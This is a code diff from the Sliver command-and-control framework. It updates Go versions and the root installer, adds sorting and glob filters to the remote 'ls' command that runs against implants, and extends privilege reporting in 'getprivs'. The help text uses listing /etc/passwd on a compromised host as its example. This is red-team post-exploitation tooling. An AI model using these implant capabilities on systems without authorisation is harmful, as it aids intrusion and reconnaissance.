Session connects

Getprivs: Cleanup and Adding Process Name

.dockerignore

@@ -1,28 +1,21 @@
-assets/*.zip
-assets/darwin
-assets/linux
-assets/windows
-server/assets/fs/**.zip
+/server/assets/fs/**.zip
 
-*.sdk.tar.xz
+/*.sdk.tar.xz
 
-sliver-server
-sliver-server.exe
+/sliver-server
+/sliver-server.exe
 
-sliver-client
-sliver-client.exe
+/sliver-client
+/sliver-client.exe
 
-gui/
-gui/*
+/.vscode/
+/.vscode/*
 
-.vscode/
-.vscode/*
+/.github/
+/.github/*
 
-.github/
-.github/*
-
-build.py
-LICENSE
-SECURITY.md
-README.md
-CONTRIBUTING.md
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -59,10 +59,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.16
+      - name: Go 1.17
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.16"
+          go-version: "^1.17"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -15,10 +15,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -50,10 +50,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.gitignore

@@ -1,10 +1,10 @@
-.vscode/*
-.devcontainer
+/.vscode/*
+/.devcontainer
 
-Dockerfile.*
-*.sdk.tar.xz
+/Dockerfile.*
+/*.sdk.tar.xz
 
-release-*
+/release-*
 
 # Diffs
 *.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-*.test
+/*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.16.6
+FROM golang:1.17
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #
 
-# protoc
+# Protoc
 WORKDIR /tmp
 RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
     && cp -vv ./bin/protoc /usr/local/bin
-
 RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
     && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
 
-# assets
+# Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
 RUN ./go-assets.sh
 
+# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
+RUN make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 
 
-RUN ls -lah \
-    && /opt/sliver-server unpack --force \
-    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
 RUN make clean \
     && rm -rf /go/src/* \
     && rm -rf /home/sliver/.sliver

client/command/commands.go

@@ -1038,6 +1038,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.LsStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("r", "reverse", false, "reverse sort order")
+			f.Bool("m", "modified", false, "sort by modified time")
+			f.Bool("s", "size", false, "sort by size")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to enumerate", grumble.Default("."))

client/command/filesystem/ls.go

@@ -22,8 +22,11 @@ import (
 	"bytes"
 	"context"
 	"fmt"
+	"path/filepath"
+	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	remotePath := ctx.Args.String("path")
+	filter := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if remotePath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(remotePath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurence == -1 {
+			// Then this is only a filter
+			filter = remotePath
+			remotePath = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+
+			// The indicies should be the same because we did not change the length of the string
+			baseDir := remotePath[:lastSeparatorOccurence]
+			potentialFilter := remotePath[lastSeparatorOccurence+1:]
+
+			_, err := filepath.Match(potentialFilter, "")
+
+			if err == nil {
+				// Then we have a filter on the end of the path
+				remotePath = baseDir
+				filter = potentialFilter
+			}
+		}
+	}
 
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
 		Request: con.ActiveSession.Request(ctx),
@@ -48,22 +90,92 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintWarnf("%s\n", err)
 	} else {
-		PrintLs(ls, con)
+		PrintLs(ls, con, ctx.Flags, filter)
 	}
 }
 
 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
+func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
 	con.Printf("%s\n", ls.Path)
 	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-	for _, fileInfo := range ls.Files {
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
+
+	// Extract the flags
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")
+
+	/*
+		By default, name sorting is case sensitive.  Upper case entries come before
+		lower case ones.  Instead, we will level the playing field and sort
+		regardless of case
+	*/
+	if reverseSort {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
+		})
+	} else {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
+		})
+	}
+
+	/*
+		After names are sorted properly, take care of the modified time if the
+		user wants to sort by time.  Doing this after sorting by name
+		will make the time sorted entries properly sorted by name if times are equal.
+	*/
+
+	if sortByTime {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime > ls.Files[j].ModTime
+			})
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime < ls.Files[j].ModTime
+			})
+		}
+	} else if sortBySize {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size > ls.Files[j].Size
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size < ls.Files[j].Size
+			})
+		}
+	}
+
+	for _, fileInfo := range ls.Files {
+		if filter != "" {
+			fileMatch, err := filepath.Match(filter, fileInfo.Name)
+
+			if err != nil {
+				/*
+					This should not happen because we checked the filter
+					before reaching out to the implant.
+				*/
+				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
+				break
+			}
+
+			if !fileMatch {
+				continue
+			}
+		}
+
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}
 	}
 	table.Flush()

client/command/help/long-help.go

@@ -235,7 +235,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
 [[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
 
 	lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
-[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
+[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
+
+[[.Bold]][[.Underline]]Sorting[[.Normal]]
+Directory and file listings are sorted by name in ascending order by default.  Listings can also be sorted by size (-s) and modified time (-m).  All sorts can be reversed with -r.
+
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit search results to directory and file names matching given criteria.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+/etc/passwd will display the listing for /etc/passwd.  "/etc/" is the path, and "passwd" is the filter.
+
+Directory and file listings can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file and directory names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all directory and file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
+`
 
 	cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
 [[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`

client/command/privilege/getprivs.go

@@ -2,6 +2,8 @@ package privilege
 
 import (
 	"context"
+	"strconv"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -27,6 +29,8 @@ import (
 */
 
 func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var processName string = "Current Process"
+
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
@@ -56,10 +60,15 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	if privs.ProcessName != "" {
+		processName = privs.ProcessName
+	}
+
 	// To make things look pretty, figure out the longest name and description
 	// for column width
 	var nameColumnWidth int = 0
 	var descriptionColumnWidth int = 0
+	var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
 
 	for _, entry := range privs.PrivInfo {
 		if len(entry.Name) > nameColumnWidth {
@@ -74,12 +83,13 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	nameColumnWidth += 1
 	descriptionColumnWidth += 1
 
-	con.Println("Privilege Information for Current Process")
-	con.Println("-----------------------------------------")
+	con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
+	con.Println(strings.Repeat("-", introWidth))
+	con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
 	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
 	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
 	for _, entry := range privs.PrivInfo {
-		con.Printf("%-*s\t%-*s\t(", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
+		con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
 		if entry.Enabled {
 			con.Printf("Enabled")
 		} else {
@@ -94,6 +104,6 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if entry.UsedForAccess {
 			con.Printf(", Used for Access")
 		}
-		con.Printf(")\n")
+		con.Printf("\n")
 	}
 }

docs/install

@@ -1,15 +1,22 @@
 #!/bin/bash
 set -e
 
+SLIVER_GPG_KEY_ID=4449039C
+
+if [ "$EUID" -ne 0 ]
+  then echo "Please run as root"
+  exit
+fi
+
 if [ -n "$(command -v yum)" ]
 then
-    sudo -S -p '' yum -y install zip unzip curl gcc gcc-c++ make mingw64-gcc
+    yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
 fi
 
 if [ -n "$(command -v apt-get)" ]
 then
-    DEBIAN_FRONTEND=noninteractive sudo -S -p '' apt-get install -yqq \
-        zip unzip curl build-essential \
+    DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
+        zip unzip gpg curl build-essential \
         mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi
 
@@ -31,9 +38,69 @@ then
     echo "zip could not be found"
     exit 1
 fi
+# GPG
+if ! command -v gpg &> /dev/null
+then
+    echo "gpg could not be found"
+    exit 1
+fi
 
-cd $HOME
-echo "Running from $HOME"
+cd /root
+echo "Running from $(pwd)"
+
+gpg --import <<EOF
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+
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+1IjjARdTpaKqQGDtTu520RC5K7AIQvgIVy4sQN0jBZM5qNkr4Qt+U94A3vqjaRGX
+5UofpRVFFWGP9QQAuIacdTioF05sBcw15WC9ULxi2lV8vBsVjT9zIS4zxfRE8u/G
+DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
+=lxj2
+-----END PGP PUBLIC KEY BLOCK-----
+EOF
 
 #
 # Download and Unpack Sliver Server
@@ -57,44 +124,73 @@ do
     fi
 done
 
-if test -f "$SLIVER_SERVER_ZIP"; then
-    unzip -o $SLIVER_SERVER_ZIP -d $HOME
-    rm -f $SLIVER_SERVER_ZIP
+echo "Verifying signatures ..."
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
+
+if test -f "/root/$SLIVER_SERVER_ZIP"; then
+    unzip -o /root/$SLIVER_SERVER_ZIP -d /root
+    rm -f /root/$SLIVER_SERVER_ZIP
 else 
     exit 2
 fi
 
-if test -f "$HOME/$SLIVER_SERVER"; then
-    chmod 755 $HOME/$SLIVER_SERVER
-    $HOME/$SLIVER_SERVER unpack --force
+if test -f "/root/$SLIVER_SERVER"; then
+    chmod 755 /root/$SLIVER_SERVER
+    /root/$SLIVER_SERVER unpack --force
 else
     exit 3
 fi
 
-if test -f "$SLIVER_CLIENT_ZIP"; then
-    unzip -o $SLIVER_CLIENT_ZIP -d $HOME
-    rm -f $SLIVER_CLIENT_ZIP
+if test -f "/root/$SLIVER_CLIENT_ZIP"; then
+    unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
+    rm -f /root/$SLIVER_CLIENT_ZIP
 else 
     exit 2
 fi
 
-if test -f "$HOME/$SLIVER_CLIENT"; then
-    chmod 755 $HOME/$SLIVER_CLIENT 
-    cp -vv $HOME/$SLIVER_CLIENT /usr/local/bin/sliver
+if test -f "/root/$SLIVER_CLIENT"; then
+    chmod 755 /root/$SLIVER_CLIENT 
+    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
     chmod 755 /usr/local/bin/sliver
 else
     exit 3
 fi
 
 # systemd
-curl -o ./sliver.service https://sliver.sh/sliver.service
-cp ./sliver.service /etc/systemd/system/sliver.service
+echo "Configuring systemd service ..."
+cat > /etc/systemd/system/sliver.service <<-EOF
+[Unit]
+Description=Sliver
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+Restart=on-failure
+RestartSec=3
+User=root
+ExecStart=/root/sliver-server daemon
+
+[Install]
+WantedBy=multi-user.target
+EOF
 chown root:root /etc/systemd/system/sliver.service
 chmod 600 /etc/systemd/system/sliver.service
 systemctl start sliver
-rm -f ./sliver.service
 
-# generate local configs
-mkdir -p $HOME/.sliver-client/configs
-/root/sliver-server operator --name $USER --lhost localhost --save $HOME/.sliver-client/configs
-chown -R $USER:$USER $HOME/.sliver-client/
+# Generate local configs
+echo "Generating operator configs ..."
+mkdir -p /root/.sliver-client/configs
+/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
+chown -R root:root /root/.sliver-client/
+
+USER_DIRS=(/home/*)
+for USER_DIR in "${USER_DIRS[@]}"; do
+    USER=$(basename $USER_DIR)
+    if id -u $USER >/dev/null 2>&1; then
+        mkdir -p $USER_DIR/.sliver-client/configs
+        /root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
+        chown -R $USER:$USER $USER_DIR/.sliver-client/
+    fi
+done

go-assets.sh

@@ -19,8 +19,8 @@
 
 # Creates the static go asset archives
 
-GO_VER="1.16.6"
-GARBLE_VER="1.16.7"
+GO_VER="1.17"
+GARBLE_VER="1.17.1"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"

go.mod

@@ -1,6 +1,6 @@
 module github.com/bishopfox/sliver
 
-go 1.16
+go 1.17
 
 // fix wgctrl requiring old wireguard
 replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
@@ -9,10 +9,10 @@ require (
 	github.com/AlecAivazis/survey/v2 v2.2.2
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
+	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.4.16 // indirect
 	github.com/alecthomas/chroma v0.8.1
-	github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
 	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
@@ -33,6 +33,7 @@ require (
 	github.com/mattn/go-sqlite3 v1.14.5
 	github.com/miekg/dns v1.1.35
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
+	github.com/pquerna/otp v1.3.0
 	github.com/sergi/go-diff v1.1.0 // indirect
 	github.com/sirupsen/logrus v1.7.0
 	github.com/spf13/cobra v1.1.1
@@ -50,6 +51,46 @@ require (
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
-	gorm.io/gorm v1.20.6
+	gorm.io/gorm v1.21.14
 	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
 )
+
+require (
+	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
+	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
+	github.com/VividCortex/ewma v1.1.1 // indirect
+	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
+	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
+	github.com/davecgh/go-spew v1.1.1 // indirect
+	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
+	github.com/desertbit/closer/v3 v3.1.2 // indirect
+	github.com/desertbit/readline v1.5.1 // indirect
+	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/go-sql-driver/mysql v1.5.0 // indirect
+	github.com/golang/protobuf v1.5.2 // indirect
+	github.com/google/btree v1.0.1 // indirect
+	github.com/hashicorp/errwrap v1.1.0 // indirect
+	github.com/inconshreveable/mousetrap v1.0.0 // indirect
+	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
+	github.com/jackc/pgconn v1.7.0 // indirect
+	github.com/jackc/pgio v1.0.0 // indirect
+	github.com/jackc/pgpassfile v1.0.0 // indirect
+	github.com/jackc/pgproto3/v2 v2.0.5 // indirect
+	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
+	github.com/jackc/pgtype v1.5.0 // indirect
+	github.com/jackc/pgx/v4 v4.9.0 // indirect
+	github.com/jinzhu/inflection v1.0.0 // indirect
+	github.com/jinzhu/now v1.1.2 // indirect
+	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
+	github.com/mattn/go-colorable v0.1.8 // indirect
+	github.com/mattn/go-runewidth v0.0.7 // indirect
+	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
+	github.com/pmezard/go-difflib v1.0.0 // indirect
+	github.com/spf13/pflag v1.0.5 // indirect
+	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
+	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
+	golang.org/x/text v0.3.6 // indirect
+	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+)

go.sum

@@ -19,6 +19,8 @@ github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtH
 github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
 github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
 github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
+github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
+github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
 github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
@@ -36,6 +38,7 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
 github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
 github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
 github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
+github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
 github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
 github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
 github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
@@ -53,9 +56,9 @@ github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj
 github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
 github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
 github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
-github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
-github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
 github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
+github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
+github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
 github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
 github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
 github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
@@ -265,6 +268,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
 github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
 github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
 github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
+github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
+github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
 github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
 github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
 github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
@@ -359,6 +364,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
 github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
+github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
+github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
 github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
 github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
 github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
@@ -682,6 +689,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
